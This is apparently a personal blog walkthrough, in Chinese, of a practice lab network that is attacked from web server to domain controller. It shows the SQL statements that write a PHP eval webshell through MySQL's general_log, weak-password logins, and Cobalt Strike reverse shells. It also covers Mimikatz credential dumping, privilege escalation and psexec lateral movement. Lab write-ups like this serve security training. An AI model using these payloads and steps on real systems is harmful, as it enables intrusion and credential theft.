靶場搭建
網絡拓撲圖
網絡搭建
如圖所示,我們有三台虛擬機,一台vm1即win7與外網連接,另外兩台vm2即win2k3,vm3即winserver08R2是內網環境,只能通過vm1進行訪問。所以這里我們要搭建的環境:
- vm1,vm2,vm3三台主機在一個內網環境中,即將三台主機設置為僅主機模式放到一個VMnet中,實現三台主機在同一個內網中。這里我把三台主機都放在VMnet2中,如下圖所示
-
同時保證vm1能訪問外網,即能通過kali訪問到,這里將其和攻擊機kali放在同一個VMnet1中。在vm1下編輯虛擬機設置|添加網絡適配器|自定義(VMnet1),最后配置好如下所示:
vm1-win7-VMnet1-192.168.13.0/24-VMnet2-192.168.142.0/24
vm2-win2k3-VMnet2-192.168.142.0/24
vm3-winserver08R2-VMnet2-192.168.142.0/24
這里一開始發現連不上,且ip是莫名其妙的,打開ipv4屬性發現沒有自動獲取,這里自動獲取,另外幾台也是一樣,改成自動獲取
啟動主機
首先啟動vm1,初始密碼為hongrisec@2019,啟動后在C:\phpStudy下啟動phpstudy,啟動報錯的重啟一下,至此,前期工作准備完成,正式開啟滲透之路
信息收集
探測內網
nmap -sP 192.168.13.0/24 探測內網存活的機器
發現主機ip地址192.168.13.129
nmap -T4 -A 192.168.13.129 掃描10000端口、操作系統、版本
可以看到靶機開啟80和mysql遠程登陸端口3306,並且操作系統為windows2008,據此,我們可以先通過80端口查看web服務
web服務
發現是一個探針,那都不需要信息收集了,東西都在上面
既然有mysql服務,並且開了3306,不爆破一波不是人
root/root直接進了???真是夠弱的弱密碼。一般這種phpstudy搭建的環境,很有可能有phpmyadmin,直接加路徑/phpmyadmin,弱密碼成功登陸
發現有newyxcms這個數據庫,那肯定有相應頁面了,這時候我的思路有三個。
- 通過cms,前台或后台找尋能getshell的漏洞
- 搜索phpmyadmin的漏洞打過去
- 通過mysql寫shell進去
getshell
現在還是滲透萌新,有靶場就都試一下
通過cms
看這個數據庫名,可能是yxcms,嘗試加路徑/yxcms,成功登陸頁面,前台信息搜集,發現有這樣的內容
嘗試此登陸,成功登陸,並且發現yxcms的版本為1.2.1,發現一篇審計此版本cms的文章——地址 ,另一文章
要是真實環境也有這么舒服就好了。。。
前台模板處發現可以增加代碼,這里我們插入一句話,蟻劍成功連接,並且直接是admin的權限,不需要提權了,此方法getshell成功
通過mysql寫文件
通過mysql寫文件有兩種辦法:
- 利用sql語句創建一張包含php一句話的表,以php后綴的形式導出到網站的絕對路徑
- 利用環境變量中的日志記錄功能,設置日志保存的地址為絕對路徑的地址,保存日志的格式為php后綴的文件,利用sql語句,讓含有php的一句話的查詢記錄被寫入在日志中
驗證第一種思路:show variables like '%secure_file%';
發現值為null,第一種思路無法進行。
驗證第二種思路:show variables like 'general_log%';
這里雖然關閉了,但是我們可以遠程開啟(secure_file_priv無法遠程開啟)
set global general_log = 'ON';
設置日志保存的地址為絕對路徑的地址,保存日志的格式為php后綴的文件:
SET GLOBAL general_log_file='C:/phpStudy/www/karsa.php'
然后進行sql查詢,將一句話保存在php日志中:
SELECT '<?php eval($_POST["pass"]);?>'
蟻劍成功連接,此方法getshell成功
通過phpmyadmin
測試了幾個cve,CVE-2014-8959等,發現版本都不太適合,然后這個暫時就不考慮了吧
內網滲透
CS上線
流程:創建團隊服務器->客戶端連接服務器->創建監聽器->生成后門對應監聽器->靶機運行后門成功上線
將生成的后門通過蟻劍上傳,執行exe文件,即可cs上線
創建監聽
Cobalt Strike|Listeners
Listeners|Add
反彈shell
Attacks|Packages|Windows Executable
成功生成一個shell后上傳至靶機,通過虛擬終端執行.exe文件,反彈shell成功
內網信息收集
net view
本機ip為192.168.142.132,掃到一台192.168.142.130的主機
net config workstation
判斷當前登陸域及登錄用戶信息
net time /domain
發現存在域,但是探測到的機器不是域控機,那我們思路就是進行橫向滲透
net view /domain:god
查看域成員
該台機器在域中,ok,進行橫向滲透
橫向滲透
抓取密碼
Access|Run Mimikatz
hashdump
權限提升
這里是我后面加的內容,因為發現不能通過admin反彈域內機器的shell,所以進行了提權操作
Access|Elevate
選取監聽器,即會自動進行提權操作,下面的機器即為system權限的機器,后續操作在system機下進行
端口轉發
因為外網不能直接訪問內網,所以通過端口轉發實現讓內網主機連接到win7上
這里使用SMB Beacon的方法
重新建立一個新的監聽器
Spawn
派生出這台3588機器,相當與一個兒子
橫向移動
使用psexec進行跳躍
這里我試了幾次,一開始都抓不到域控的機器,只能抓到內網中的一台,經過多次嘗試后終於抓到,ip可能會有變化,請注意
這里我真測試到心態崩了,對於make_token原理又看了一下,在win7中我密碼為hongrisec@2019,而且不知道為什么改不了密碼,然后一直看別人博客直接就用抓取的win7機的密碼,后面一直不對,想了原因,最終確定在了應該是token不對的問題上,第一台域內非域控機器的Domain應該是GOD,自己在password處手動設置hongrisec@2020,終於成功反彈域內機的shell
彈成功后,一樣的targets選擇OWA,jump|psexec,選取GOD.ORG
最終反彈DC機的shell,實現域滲透
總結
- 滲透web服務的過程比較簡單,也沒有什么坑
- 靶機默認設置了ip,導致一開始kali里掃不到ip,一臉懵,要更改DHCP自動獲取
- cobalt strike不會一次性成功,在創建smb與連接內網機器時可能都需要進行重復多次操作,我同樣的設置打了四五次才成功,可能還會有更多的情況
巨坑
這里一個巨坑,域和本機是不同的兩套系統,這里梗住了特別久。我win7登陸計算機的密碼是hongrisec@2019,域的密碼是hongrisec@2020,所以我一直拿hongrisec@2019的password,psexec無法彈shell,后面猜測可能是這里問題,但是改密碼我用hongrisec@2019的原密碼也一直提示密碼錯誤。最終用hongrisec@2020的域密碼成功反彈shell
域和計算機是不同的兩套系統,可能密碼不一樣
本次也算是填補之前hw,拿到shell,不會擴大戰果的坑。因為第一次玩這種滲透的靶場,同樣也是第一次后滲透,如有不好敬請見諒